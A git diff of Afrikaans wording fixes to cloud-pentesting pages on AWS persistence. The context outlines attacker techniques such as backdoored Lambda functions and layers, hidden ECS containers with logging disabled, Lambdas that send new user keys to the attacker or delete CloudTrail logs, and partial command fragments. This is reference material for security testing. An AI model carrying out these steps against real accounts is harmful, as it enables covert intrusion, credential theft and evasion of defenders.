-Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller in staat stel om arbitrêre kode binne die AWS-rekening uit te voer.
+Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller toelaat om arbitrêre kode binne die AWS-rekening uit te voer.
```bash
# Create a malicious Lambda function
aws lambda create-function \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 0e7acb9ae..c1ad3d596 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -12,9 +12,9 @@ Vir meer inligting, kyk:
### Sekuriteitsgroep Verbinding Volg Persistensie
-As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort van inkomende of uitgaande** verkeer te verbied.
+As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort inkomende of uitgaande** verkeer te verbied.
-As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om nie inkomende of uitgaande verkeer toe te laat nie, sal die **verbinding nie beëindig word nie** [**Sekuriteitsgroep Verbinding Volg**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om inkomende of uitgaande verkeer te verbied, sal die **verbinding nie beëindig word nie** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Levensiklusbestuurder
@@ -27,15 +27,15 @@ Dit is moontlik om instanties te skeduleer om daagliks, weekliks of selfs maande
### Spot Vloot Versoek
-Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller **stuur wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**.
+Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller stuur **wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**.
### Agterdeur Instanties
'n Aanvaller kan toegang tot die instanties verkry en dit agterdeur:
-- Gebruik 'n tradisionele **rootkit** byvoorbeeld
-- Voeg 'n nuwe **publieke SSH-sleutel** by (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Agterdeur die **Gebruikersdata**
+- Deur 'n tradisionele **rootkit** te gebruik
+- 'n Nuwe **publieke SSH-sleutel** by te voeg (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Die **Gebruikersdata** agterdeur
### **Agterdeur Ontplooiing Konfigurasie**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 02081dc0b..b639effaa 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECR Persistensie
+# AWS - ECR Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
### Versteekte Docker Beeld met Kwaadwillige Kode
-'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek op te laai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier.
+'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek oplaai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier.
### Bewaarplek Beleid
@@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-Dan pas die replikasie-konfigurasie toe:
+Dan pas die replikaasiekonfigurasie toe:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 56f5f4c4e..95daab33b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECS Persistensie
+# AWS - ECS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
-### Backdoor Container in Existing ECS Task Definition
+### Agterdeur Container in Bestaande ECS Taakdefinisie
> [!NOTE]
> TODO: Toets
-'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS-taakdefinisie voeg wat saam met wettige houers loop. Die backdoor container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer.
+'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS taakdefinisie voeg wat saam met wettige containers loop. Die agterdeur container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
}
]'
```
-### Ondokumenteerde ECS-diens
+### Ongedokumenteerde ECS-diens
> [!NOTE]
> TODO: Toets
-'n Aanvaller kan 'n **ondokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take op 'n minimum in te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk.
+'n Aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take tot 'n minimum te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index b556d1ce8..6621de131 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - EFS Persistensie
+# AWS - EFS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,10 +12,10 @@ Vir meer inligting, kyk:
### Wysig Hulpbronbeleid / Sekuriteitsgroepe
-Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel te behou.
+Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel te volhard.
### Skep Toegangspunt
-Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te hou.
+Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te behou.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 62eb63e80..b006e182b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -1,4 +1,4 @@
-# AWS - Elastic Beanstalk Persistensie
+# AWS - Elastic Beanstalk Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Vir meer inligting, kyk:
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistensie in Instansie
+### Volharding in Instansie
-Om persistensie binne die AWS-rekening te handhaaf, kan 'n **persistensie-meganisme binne die instansie ingevoer word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel.
+Om volharding binne die AWS-rekening te handhaaf, kan 'n **volhardingsmeganisme binne die instansie bekendgestel word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel.
### Agterdeur in Weergawe
@@ -22,12 +22,12 @@ Om persistensie binne die AWS-rekening te handhaaf, kan 'n **persistensie-megani
In plaas daarvan om die kode op die werklike weergawe te verander, kan die aanvaller 'n nuwe agterdeur weergawe van die toepassing ontplooi.
-### Misbruik van Aangepaste Hulpbronne Lewe Siklus Hake
+### Misbruik van Aangepaste Hulpbronne Levensiklus Hake
> [!NOTE]
> TODO: Toets
-Elastic Beanstalk bied lewe siklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n lewe siklus hake konfigureer om periodiek 'n skrip uit te voer wat data eksfiltreer of toegang tot die AWS-rekening handhaaf**.
+Elastic Beanstalk bied levensiklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n levensiklus hake konfigureer om periodiek 'n skrip uit te voer wat data uitbring of toegang tot die AWS-rekening handhaaf**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index bceb96abf..fafb47912 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -38,7 +38,7 @@ Jy kan 'n backdoor in 'n vertrouensbeleid plaas om dit te kan aanvaar vir 'n eks
```
### Backdoor-beleid Weergawe
-Gee Administrateur regte aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep.
+Gee Administrateur toestemmings aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep.
### Backdoor / Skep Identiteitsverskaffer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 310772cc2..c4e58a804 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -18,7 +18,7 @@ Vir meer inligting, kyk:
Toestemmings is 'n ander manier om 'n prinsiep sekere toestemmings oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n toestemming te gee wat 'n gebruiker toelaat om toestemmings te skep. Boonop kan 'n gebruiker verskeie toestemmings (selfs identies) oor dieselfde sleutel hê.
-Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere punt 1 toestemming verwyder word, moet nog 10 gegenereer word.
+Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere tydstip 1 toestemming verwyder word, moet nog 10 gegenereer word.
(Ons gebruik 10 en nie 2 nie om te kan opspoor dat 'n toestemming verwyder is terwyl die gebruiker steeds 'n paar toestemmings het)
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 06eb48a41..2b668fa86 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistensie
+# AWS - Lambda Volharding
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,17 +10,17 @@ Vir meer inligting, kyk:
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Laag Persistensie
+### Lambda Laag Volharding
-Dit is moontlik om **'n laag in te voer/terugdeur te maak om arbitrêre kode uit te voer** wanneer die lambda op 'n stil manier uitgevoer word:
+Dit is moontlik om **'n laag in te voer/terug te deurdring om arbitrêre kode uit te voer** wanneer die lambda op 'n stil manier uitgevoer word:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Uitbreiding Persistensie
+### Lambda Uitbreiding Volharding
-Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda te bly, maar ook versoeke te steel en te wysig.
+Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda volharding te hê, maar ook versoeke te steel en te wysig.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -36,19 +36,19 @@ Dit is moontlik om toegang tot verskillende lambda aksies (soos aanroep of kode
'n Lambda kan **verskillende weergawes** hê (met verskillende kode in elke weergawe).\
Dan kan jy **verskillende aliasse met verskillende weergawes** van die lambda skep en verskillende gewigte aan elkeen toeken.\
-Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergave 2 met slegs die wettige kode** skep en **slegs die weergawe 1 in 1%** van die versoeke uitvoer om stil te bly.
+Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergawe 2 met slegs die wettige kode** skep en **slegs die weergawe 1 in 1%** van die versoeke uitvoer om stil te bly.
-### Weergave Terugdeur + API Gateway
+### Weergawe Terugdeur + API Gateway
1. Kopieer die oorspronklike kode van die Lambda
-2. **Skep 'n nuwe weergawe wat die** oorspronklike kode terugdeur maak (of net met kwaadwillige kode). Publiseer en **ontplooi daardie weergawe** na $LATEST
+2. **Skep 'n nuwe weergawe wat die** oorspronklike kode terugdeur (of net met kwaadwillige kode). Publiseer en **ontplooi daardie weergawe** na $LATEST
1. Roep die API-gateway wat met die lambda verband hou aan om die kode uit te voer
-3. **Skep 'n nuwe weergawe met die oorspronklike kode**, Publiseer en ontplooi daardie **weergave** na $LATEST.
+3. **Skep 'n nuwe weergawe met die oorspronklike kode**, Publiseer en ontplooi daardie **weergawe** na $LATEST.
1. Dit sal die terugdeurkode in 'n vorige weergawe verberg
4. Gaan na die API Gateway en **skep 'n nuwe POST-metode** (of kies enige ander metode) wat die terugdeur weergawe van die lambda sal uitvoer: `arn:aws:lambda:us-east-1::function::1`
-1. Let op die finale :1 van die arn **wat die weergawe van die funksie aandui** (weergave 1 sal die terugdeur een in hierdie scenario wees).
+1. Let op die finale :1 van die arn **wat die weergawe van die funksie aandui** (weergawe 1 sal die terugdeur een in hierdie scenario wees).
5. Kies die POST-metode wat geskep is en in Aksies kies **`Ontplooi API`**
6. Nou, wanneer jy **die funksie via POST aanroep, sal jou Terugdeur** geaktiveer word
@@ -57,8 +57,8 @@ Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergave
Die feit dat jy **lambda funksies kan laat loop wanneer iets gebeur of wanneer 'n tyd verbygaan** maak lambda 'n goeie en algemene manier om volharding te verkry en opsporing te vermy.\
Hier is 'n paar idees om jou **teenwoordigheid in AWS meer stil te maak deur lambdas** te skep.
-- Elke keer wanneer 'n nuwe gebruiker geskep word, genereer lambda 'n nuwe gebruikerssleutel en stuur dit na die aanvaller.
-- Elke keer wanneer 'n nuwe rol geskep word, gee lambda aanneemrol toestemmings aan gecompromitteerde gebruikers.
-- Elke keer wanneer nuwe cloudtrail logs gegenereer word, verwyder/wysig hulle
+- Elke keer as 'n nuwe gebruiker geskep word, genereer lambda 'n nuwe gebruikerssleutel en stuur dit na die aanvaller.
+- Elke keer as 'n nuwe rol geskep word, gee lambda aanneem rol toestemmings aan gecompromitteerde gebruikers.
+- Elke keer as nuwe cloudtrail logs gegenereer word, verwyder/wysig hulle
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 26feb4028..8ba3958d3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -28,7 +28,7 @@ Die veranderlike **`AWS_LAMBDA_RUNTIME_API`** dui die **IP** adres en **poort**
> [!WARNING]
> Deur die **`AWS_LAMBDA_RUNTIME_API`** omgewing veranderlike na 'n **`poort`** wat ons toegang tot het, is dit moontlik om alle aksies binne die Lambda-runtime te onderskep (**man-in-the-middle**). Dit is moontlik omdat die uitbreiding met dieselfde voorregte as Rapid Init loop, en die stelselkern toelaat **modifikasie van prosesgeheue**, wat die verandering van die poortnommer moontlik maak.
-Omdat **uitbreidings voor enige runtime-kode loop**, sal die modifikasie van die omgewing veranderlike die runtime-proses (bv. Python, Java, Node, Ruby) beïnvloed soos dit begin. Verder, **uitbreidings wat na** ons gelaai word, wat op hierdie veranderlike staatmaak, sal ook deur ons uitbreiding lei. Hierdie opstelling kan malware in staat stel om sekuriteitsmaatreëls of registrasie-uitbreidings heeltemal te omseil direk binne die runtime-omgewing.
+Omdat **uitbreidings voor enige runtime-kode loop**, sal die aanpassing van die omgewing veranderlike die runtime-proses (bv. Python, Java, Node, Ruby) beïnvloed soos dit begin. Verder, **uitbreidings wat na** ons gelaai word, wat op hierdie veranderlike staatmaak, sal ook deur ons uitbreiding lei. Hierdie opstelling kan malware in staat stel om sekuriteitsmaatreëls of registrasie-uitbreidings heeltemal te omseil direk binne die runtime-omgewing.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index c6d9bced4..e861b0d2a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,20 +1,20 @@
-# AWS - Lambda Layers Persistence
+# AWS - Lambda Laag Persistensie
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Layers
+## Lambda Lae
-'n Lambda-laag is 'n .zip-lêerargief wat **addisionele kode** of ander inhoud **kan bevat**. 'n Laag kan biblioteke, 'n [aangepaste runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data of konfigurasielêers bevat.
+'n Lambda-laag is 'n .zip-lêerargief wat **addisionele kode** of ander inhoud **kan bevat**. 'n Laag kan biblioteke, 'n [aangepaste runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, of konfigurasielêers bevat.
-Dit is moontlik om tot **vyf lae per funksie** in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die **inhoud na die `/opt`** gids in die uitvoeringsomgewing **onttrek**.
+Dit is moontlik om tot **vyf lae per funksie** in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die **inhoud na die `/opt`** gids in die uitvoeringsomgewing **uitgepak**.
Deur **standaard** is die **lae** wat jy skep **privaat** vir jou AWS-rekening. Jy kan kies om 'n laag met ander rekeninge te **deel** of om die laag **publiek** te **maak**. As jou funksies 'n laag gebruik wat 'n ander rekening gepubliseer het, kan jou funksies **voortgaan om die laag weergawe te gebruik nadat dit verwyder is, of nadat jou toestemming om toegang tot die laag te verkry, ingetrek is**. Jy kan egter nie 'n nuwe funksie skep of funksies opdateer wat 'n verwyderde laag weergawe gebruik nie.
-Funksies wat as 'n houerbeeld ontplooi word, gebruik nie lae nie. In plaas daarvan, pak jy jou verkiesde runtime, biblioteke en ander afhanklikhede in die houerbeeld wanneer jy die beeld bou.
+Funksies wat as 'n houerbeeld ontplooi word, gebruik nie lae nie. In plaas daarvan, pak jy jou verkiesde runtime, biblioteke, en ander afhanklikhede in die houerbeeld wanneer jy die beeld bou.
-### Python load path
+### Python laai pad
-Die laai-pad wat Python in lambda sal gebruik, is die volgende:
+Die laai pad wat Python in lambda sal gebruik, is die volgende:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
@@ -55,7 +55,7 @@ En dit is die lys van **biblioteke** wat **lambda standaard ingesluit het**: [ht
In hierdie voorbeeld kom ons veronderstel dat die geteikende kode **`csv`** invoer. Ons gaan die **invoer van die `csv` biblioteek backdoor**.
Om dit te doen, gaan ons die **gids csv** skep met die lêer **`__init__.py`** daarin in 'n pad wat deur lambda gelaai word: **`/opt/python/lib/python3.9/site-packages`**\
-Dan, wanneer die lambda uitgevoer word en probeer om **csv** te laai, sal ons **`__init__.py` lêer gelaai en uitgevoer word**.\
+Dan, wanneer die lambda uitgevoer word en probeer om **csv** te laai, sal ons **`__init__.py` lêer gelaai en uitgevoer** word.\
Hierdie lêer moet:
- Ons payload uitvoer
@@ -100,7 +100,7 @@ Let ook daarop dat die **maksimum aantal lae wat 'n lambda kan hê 5 is**.
Daarom, om die veelsydigheid van hierdie tegniek te verbeter, kan 'n aanvaller:
-- 'n Buitelug in 'n bestaande laag van die gebruiker (niks is ekstern)
+- 'n Buitelander in 'n bestaande laag van die gebruiker (niks is ekstern)
- **Skep** 'n **laag** in **sy rekening**, gee die **slagoffer rekening toegang** om die laag te gebruik, **konfigureer** die **laag** in die slagoffer se Lambda en **verwyder die toestemming**.
- Die **Lambda** sal steeds in staat wees om die **laag** te **gebruik** en die **slagoffer sal** nie enige maklike manier hê om die **laag se kode af te laai** (behalwe om 'n rev shell binne die lambda te kry)
- Die slagoffer **sal nie eksterne lae** sien wat gebruik word met **`aws lambda list-layers`**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 3bfc1378e..56edc67c0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -12,21 +12,21 @@ Vir meer inligting, kyk:
### Laai Instansie SSH sleutels & DB wagwoorde af
-Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir persistensie
+Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir volharding
### Agterdeur Instansies
'n Aanvaller kan toegang tot die instansies verkry en hulle agterdeur:
-- Gebruik 'n tradisionele **rootkit** byvoorbeeld
-- Voeg 'n nuwe **publieke SSH-sleutel** by
-- Stel 'n poort bloot met poortklop met 'n agterdeur
+- Deur 'n tradisionele **rootkit** te gebruik
+- 'n Nuwe **publieke SSH-sleutel** by te voeg
+- 'n Poort bloot te stel met poortklop met 'n agterdeur
-### DNS persistensie
+### DNS volharding
As domeine gekonfigureer is:
-- Skep 'n subdomein wat jou IP aandui sodat jy 'n **subdomein oorneem** sal hê
+- Skep 'n subdomein wat jou IP aanwys sodat jy 'n **subdomein oorneem** sal hê
- Skep **SPF** rekord wat jou toelaat om **e-posse** van die domein te stuur
- Konfigureer die **hoofdomein IP na jou eie** en voer 'n **MitM** uit van jou IP na die wettige een
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 0e1825177..48418c48e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -1,4 +1,4 @@
-# AWS - RDS Persistensie
+# AWS - RDS Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
```
### Skep 'n admin gebruiker binne die DB
-'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang verloor** tot die databasis nie.
+'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang tot die databasis verloor nie**.
### Maak snapshot publiek
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index ad68f8c9a..b84765fa9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -1,4 +1,4 @@
-# AWS - S3 Persistensie
+# AWS - S3 Volharding
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Vir meer inligting, kyk:
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Kliënt-Syde Enkripsie
+### KMS Kliëntkant Enkripsie
-Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde enkripteerde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel:
+Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde versleutelde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel:
@@ -20,6 +20,6 @@ Daarom kan 'n aanvaller hierdie sleutel uit die metadata verkry en dit met KMS o
### Gebruik van S3 ACLs
-Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg voorregte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou.
+Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg regte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c416cc07a..681954ae3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -10,15 +10,15 @@ Vir meer inligting, kyk:
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Deur Hulpbronbeleide
+### Deur Hulpbronne Beleid
-Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronbeleide. Kyk na die [**Secrets Manager Privesc-bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te verkry, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig.
+Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronne beleid. Kyk na die [**Secrets Manager Privesc bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te hê, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig.
### Deur Secrets Rotate Lambda
Om **geheime** outomaties te **roteer**, word 'n geconfigureerde **Lambda** aangeroep. As 'n aanvaller die **kode** kon **verander**, kon hy direk die **nuwe geheim** na homself **uitvoer**.
-Dit is hoe lambda-kode vir so 'n aksie kan lyk:
+Dit is hoe lambda kode vir so 'n aksie kan lyk:
```python
import boto3
